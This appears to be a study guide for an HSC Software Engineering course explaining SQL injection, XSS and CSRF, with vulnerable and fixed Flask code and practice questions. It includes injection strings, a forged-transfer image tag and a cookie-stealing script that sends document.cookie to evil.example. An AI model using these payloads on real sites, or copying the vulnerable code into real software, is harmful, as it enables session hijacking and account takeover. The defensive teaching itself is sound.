XSS, CSRF and SQL injection explained: HSC Software Engineering Module 2
“Identify and mitigate cross-site scripting (XSS), cross-site request forgery (CSRF) and SQL injection vulnerabilities”
SQL injection is fixed with parameterised queries. XSS is fixed with output encoding at the HTML boundary, plus Content Security Policy and HttpOnly cookies for defence in depth. CSRF is fixed with CSRF tokens, SameSite cookies, and state-changing operations on POST/PUT/DELETE only.
Imagine a house with a letterbox, a front door with a smart lock, and a chatty neighbour who repeats anything you say to whoever walks past. SQL injection is like writing a fake instruction on your rent cheque that tricks the bank into paying your entire street's rent to you, because the bank blindly reads whatever text is written on the cheque as an instruction. XSS is the chatty neighbour: if you say something nasty in front of them (a comment, a search box), they will happily repeat it, word for word, in front of the next person who visits, and if what you said was actually a command, everyone who hears it obeys it. CSRF is the smart lock trusting anyone holding your spare key, even if that person is a stranger who just picked your pocket. Your browser is that spare key: once you are logged in, it automatically hands your key to any request your browser makes, even one an attacker's web page secretly triggers without you clicking anything.
What this dot point is asking
NESA wants you to recognise three of the most common web application vulnerabilities, explain how each works, and identify specific developer-side mitigations.
- SQL injection: attacker input changes the STRUCTURE of a SQL query. Fixed with parameterised queries.
- XSS (cross-site scripting): attacker script is stored or reflected into a page and runs in OTHER users' browsers. Fixed with output encoding, CSP, and HttpOnly cookies.
- CSRF (cross-site request forgery): attacker forges a request that rides on a VICTIM's existing authenticated session. Fixed with CSRF tokens, SameSite cookies, and POST-only state changes.
The answer
SQL injection
An attacker submits crafted input that gets concatenated into a SQL query, changing its meaning.
# VULNERABLE
def login(username, password):
query = f"SELECT * FROM users WHERE name = '{username}' AND pass = '{password}'"
return db.execute(query).fetchone()
Submitting ' OR '1'='1 as the password makes the query return the admin row regardless of password.
Mitigation: parameterised queries.
def login(username, password):
row = db.execute(
"SELECT id, pass_hash FROM users WHERE name = ?",
(username,),
).fetchone()
return row if row and bcrypt.checkpw(password.encode(), row["pass_hash"]) else None
The database driver substitutes ? with the value safely. The input can no longer change the query structure.
Cross-site scripting (XSS)
An attacker injects JavaScript into a page that other users load. Categories:
- Stored XSS: the script is saved in the database (a comment, a profile field) and served to every visitor.
- Reflected XSS: the script is in a URL parameter (
/search?q=<script>...</script>), and the page reflects it back without encoding. - DOM-based XSS: the script is introduced client-side via
innerHTMLor similar with user input.
Example - vulnerable rendering:
# VULNERABLE
@app.get("/search")
def search():
q = request.args.get("q", "")
return f"<p>You searched for: {q}</p>"
/search?q=<script>alert(1)</script> runs the script.
Mitigations:
- Output encoding at every HTML-output boundary. Use a templating engine with autoescape on.
- Use
textContentinstead ofinnerHTMLwhen inserting user data via JavaScript. - Content Security Policy (
script-src 'self') blocks inline and third-party scripts. - HttpOnly cookies prevent JavaScript from reading session cookies, limiting the damage of XSS.
Cross-site request forgery (CSRF)
An attacker tricks a logged-in user's browser into sending a request to a target site, abusing the user's session. Example: the user is logged into their bank. They visit an attacker's site, which contains:
<img src="https://bank.example.com/transfer?to=evil&amount=10000">
The browser sends the request with the user's bank cookies. The bank cannot tell the request was not intentional.
Mitigations:
- CSRF tokens: a random token in each form, validated server-side. The attacker's site cannot read the token.
- SameSite cookies: set
SameSite=LaxorStricton session cookies. The browser refuses to send the cookie on cross-site requests. - Check the
OriginorRefererheader: reject state-changing requests that come from another origin. - Use POST for state changes, not GET. GETs in
<img>and<a>tags become CSRF vectors.
Defence in depth
Real applications layer all of these defences. A typical web app:
- Uses an ORM that parameterises all SQL by default (defends against injection).
- Uses a templating engine with autoescape on (defends against XSS).
- Sends
Content-Security-Policy: script-src 'self'(defends against XSS even if encoding is missed). - Issues session cookies with
HttpOnly; Secure; SameSite=Lax(limits XSS damage; defends against CSRF). - Includes a CSRF token in every form (defends against CSRF).
- Validates every input against an allow-list before processing (defends in depth).
Ask three quick questions in order. (1) Does crafted input change what a database query does? That is SQL injection. (2) Does injected script run inside someone ELSE's browser session, because it was stored or reflected back into a page? That is XSS. (3) Is a request forged so it rides on a victim's EXISTING logged-in session, without any script running at all? That is CSRF. If the stem mentions <script> tags or a comment field, think XSS first. If it mentions an <img> tag pointing at another site's URL with parameters like ?amount=, think CSRF. If it mentions string concatenation into a query, think SQL injection.
Worked code
A small Flask + Jinja2 example showing all three mitigations:
from flask import Flask, request, render_template_string, abort
from flask_wtf.csrf import CSRFProtect
import sqlite3, bcrypt
app = Flask(__name__)
app.secret_key = "..."
CSRFProtect(app)
@app.after_request
def add_security_headers(response):
response.headers["Content-Security-Policy"] = "script-src 'self'"
return response
@app.post("/comment")
def post_comment():
text = (request.form.get("text") or "").strip()
if not (1 <= len(text) <= 1000):
abort(400)
with sqlite3.connect("blog.db") as conn:
conn.execute(
"INSERT INTO comments (text, user_id) VALUES (?, ?)",
(text, current_user_id()),
)
return "ok"
Jinja2 autoescapes any {{ ... }} in templates. CSRFProtect adds a token to every form and validates on POST. The CSP header blocks inline scripts as a backstop. The SQL is parameterised.
A site has the following login handler:
@app.post("/login")
def login():
user = request.form["username"]
pw = request.form["password"]
query = "SELECT * FROM users WHERE name = '" + user + "' AND pass = '" + pw + "'"
if db.execute(query).fetchone():
return f"Welcome {user}!"
return "Bad login"
Identify three vulnerabilities and fix each.
- SQL injection via the f-string. Fix with
?placeholders andbcrypt.checkpwinstead of comparing passwords as plain text. - Reflected XSS via
Welcome {user}!. The browser will execute any HTML in the username. Use a template engine with autoescape, or HTML-encode the username before embedding. - Plain-text password storage implied by the WHERE clause comparing
pass = '...'. Store bcrypt hashes; look up by username, then verify withbcrypt.checkpw.
Fixed:
@app.post("/login")
def login():
user = (request.form.get("username") or "").strip()
pw = (request.form.get("password") or "").encode()
row = db.execute(
"SELECT id, pass_hash FROM users WHERE name = ?",
(user,),
).fetchone()
if row and bcrypt.checkpw(pw, row["pass_hash"]):
return render_template("welcome.html", username=user)
abort(401)
- Filtering specific tags only
- Blocking
<script>is not enough. Attackers use<img onerror>,<svg onload>, JavaScript URIs in<a href>, and many others. Use output encoding for all special characters. - Trusting client-side validation
- Validation in JavaScript improves UX but does nothing against direct API calls.
- Putting CSRF tokens in GET requests
- GETs should be safe and idempotent. Move state changes to POST/PUT/DELETE and protect those.
- Confusing XSS and CSRF
- XSS runs attacker code in the victim's browser. CSRF tricks the victim's browser into making an authorised request the user did not intend.
- Trying to escape SQL by hand
- Always parameterise. Hand-escaping has edge cases (UTF-8, multi-byte characters, comment syntax) that bite.
Exam-style questions
Questions in the style of NESA exam questions on this dot point, each with a worked answer. They are written by ExamExplained unless tagged "Past paper"; the year shows the paper a question is modelled on.
Practice6 marksExplain how a stored cross-site scripting (XSS) attack works and describe two mitigations the developer can implement.Show worked answer →
In a stored XSS attack, an attacker submits malicious JavaScript into a form field that the application stores in its database. When other users view a page that displays the stored value, their browsers execute the script.
Example: a comment form on a blog accepts the body <script>fetch('//evil.example/steal?c=' + document.cookie)</script>. The site stores this comment and renders it on the article page. Every visitor's browser runs the script, sending their session cookies to the attacker, who can hijack their accounts.
Mitigation 1: output encoding. When rendering user-controlled data into HTML, encode special characters: < becomes <, > becomes >, & becomes &, " becomes ". The browser treats the value as text, not as HTML or script. Modern frameworks (React, Vue, Jinja2 with autoescape on) do this by default. In raw JavaScript, set element.textContent = userText, not element.innerHTML = userText.
Mitigation 2: Content Security Policy (CSP). Send a Content-Security-Policy header that restricts which scripts the browser will execute. A policy like script-src 'self' blocks any inline script and any script from another origin. Even if a <script> tag slips through the encoding, the browser refuses to run it.
Markers reward a clear attack walkthrough, both mitigations named correctly, and recognising that defence in depth (output encoding plus CSP plus HttpOnly cookies) is stronger than any one control alone.
Practice questions
Original practice questions graded from foundation to exam level, each with a full worked solution. Try them before revealing the solution.
foundation2 marksState which of the three vulnerabilities (XSS, CSRF, SQL injection) is present in this code, and name the single most direct fix: `query = "SELECT * FROM items WHERE id = " + item_id`.Show worked solution →
This is SQL injection: item_id is concatenated directly into the query string, so an attacker can supply input such as 1 OR 1=1 to change the query's meaning.
Fix: use a parameterised query, e.g. db.execute(\"SELECT * FROM items WHERE id = ?\", (item_id,)), so the value is never treated as SQL syntax.
Marking criteria: 1 mark for correctly naming SQL injection, 1 mark for a correct parameterised-query fix.
foundation3 marksA page renders a search results heading as `f"<h1>Results for {query}</h1>"` where `query` comes straight from the URL. Name the vulnerability, explain why it is dangerous, and state one fix.Show worked solution →
This is reflected XSS: the query value from the URL is written into the HTML without encoding, so a URL such as ?query=<script>alert(1)</script> causes the browser to execute the attacker's script for anyone who follows the link.
It is dangerous because the attacker never needs to touch the server's database; they only need to trick a victim into clicking a crafted link, and the script then runs with the victim's own session and cookies.
Fix: HTML-encode query before inserting it (or use a templating engine with autoescape on), so <script> is rendered as literal text, not as a tag.
Marking criteria: 1 mark for naming reflected XSS, 1 mark for explaining the attack mechanism, 1 mark for a correct encoding-based fix.
core4 marksThe table below is a sample of three incoming requests to a bank's `/transfer` endpoint, captured in the server access log.
| Request | Method | Origin header | Referer header | Contains valid CSRF token? |
|---|---|---|---|---|
| A | POST | bank.example.com | bank.example.com/transfer-form | Yes |
| B | GET | (none sent) | evil.example/page.html | No |
| C | POST | evil.example | evil.example/page.html | No |
Identify which request(s) are consistent with a CSRF attack, and justify your answer using the Origin/Referer and token columns.
Show worked solution →
Requests B and C are consistent with a CSRF attack.
- Request A originates from the bank's own domain, carries a matching Referer, and includes a valid CSRF token, so it is a legitimate user-initiated transfer.
- Request B has no Origin header and a Referer pointing to
evil.example, and lacks a token; a GET to a state-changing endpoint triggered from an attacker's page (e.g. via an<img>tag) is a classic CSRF pattern, especially since state changes should never be exposed on GET at all. - Request C explicitly shows an Origin of
evil.exampleand no valid token, meaning the request was submitted from a page the attacker controls, not the bank's own form.
Marking criteria: 1 mark for correctly identifying B and C as suspicious, 1 mark for correctly clearing A, 1 mark for using the Origin/Referer mismatch as evidence, 1 mark for using the missing CSRF token as evidence.
core4 marksExplain how SameSite=Lax cookies and CSRF tokens provide overlapping but different protection against CSRF, and why a developer might use both rather than just one.Show worked solution →
SameSite=Lax is a browser-enforced rule: the browser itself withholds the session cookie on cross-site POST requests (and on embedded requests like images), so a forged form submitted from an attacker's page arrives with no session cookie attached, and the server sees an unauthenticated request.
CSRF tokens are an application-level control: the server embeds a random, unpredictable token in each legitimate form, and validates it on submission. An attacker's page cannot read or guess this token because the browser's same-origin policy prevents cross-origin pages from reading another site's response body.
A developer uses both because they cover different gaps: SameSite protection can be weakened by browser misconfiguration, older browsers that ignore SameSite, or subdomain-related edge cases, while a CSRF token is independent of cookie/browser behaviour. Layering both is defence in depth: either control alone stops most attacks, but together they remove single points of failure.
Marking criteria: 1 mark for correctly explaining SameSite=Lax's mechanism, 1 mark for correctly explaining CSRF tokens' mechanism, 2 marks for a justified explanation of why both are used together (defence in depth, coverage of different failure modes).
exam5 marksA junior developer submits this login handler for review:
```python
@app.post("/login")
def login():
user = request.form["username"]
pw = request.form["password"]
query = "SELECT * FROM users WHERE name='" + user + "' AND pass='" + pw + "'"
row = db.execute(query).fetchone()
if row:
return f"<p>Welcome back, {user}!</p>"
return "Login failed"
```
Identify two distinct vulnerabilities present (not counting plain-text password storage) and, for each, give the corrected code fragment.
Show worked solution →
Vulnerability 1: SQL injection. user and pw are concatenated directly into the query string, so input such as ' OR '1'='1' -- changes the query's logic and can bypass authentication entirely.
Fix:
row = db.execute(
"SELECT id, pass_hash FROM users WHERE name = ?",
(user,),
).fetchone()
Vulnerability 2: Reflected/stored XSS. The success message writes user straight into HTML via an f-string; a username containing <script>...</script> would execute in the browser of anyone who sees the response.
Fix:
return render_template("welcome.html", username=user)
(Jinja2's autoescape encodes username automatically, rendering any HTML characters as literal text.)
Marking criteria: 1 mark per correctly named vulnerability (2), 1 mark per corrected fragment that actually removes the flaw (2), 1 mark for noting that both fixes must use the value only as data, never as code/markup.
exam8 marksA start-up is building a web app where logged-in users can post public comments and transfer in-app credits to other users. Design a defence-in-depth security plan covering SQL injection, XSS and CSRF, naming a specific control for each layer and explaining what it stops.Show worked solution →
This is an 8-mark extended response: markers reward a layered plan that names concrete controls and links each to the specific attack it stops, not a generic list.
- Data layer - SQL injection
- All database access goes through an ORM or driver that uses parameterised queries by default, so user input (comment text, transfer amount, recipient id) is never concatenated into SQL. This stops an attacker from changing a query's structure via crafted input, e.g. in a comment search box.
- Output layer - stored/reflected XSS
- The templating engine has autoescape switched on, so any comment text rendered back to other users has
<,>and&encoded automatically. This stops a comment such as<script>fetch('//evil.example?c='+document.cookie)</script>from executing in other users' browsers. - Browser-enforced backstop - Content Security Policy
- The server sends
Content-Security-Policy: script-src 'self'. Even if one output-encoding gap is missed (e.g. a new field added without escaping), the browser will still refuse to execute an injected inline<script>or a script hosted on another origin. - Session layer - HttpOnly and Secure cookies
- Session cookies are marked
HttpOnly(JavaScript cannot read them, limiting what a successful XSS payload can steal) andSecure(only sent over HTTPS, preventing interception). - State-change layer - CSRF protection for the credit transfer
- The transfer endpoint requires POST only (never GET), includes a per-session CSRF token validated server-side, and sets
SameSite=Laxon the session cookie. Together these stop an attacker's page from silently submitting a forged transfer request using the victim's active session. - Input validation
- Every input (comment length, transfer amount as a positive number within the user's balance, recipient id exists) is validated server-side against an allow-list of acceptable values, regardless of what client-side JavaScript already checked, because client-side checks can be bypassed by calling the API directly.
Marker's note: top-band answers (1) name a specific control per layer rather than a vague "sanitise everything", (2) explicitly link each control to the attack it defeats, (3) recognise that no single control is sufficient alone, and (4) cover all three named vulnerabilities plus at least one supporting control (HttpOnly, input validation, or CSP).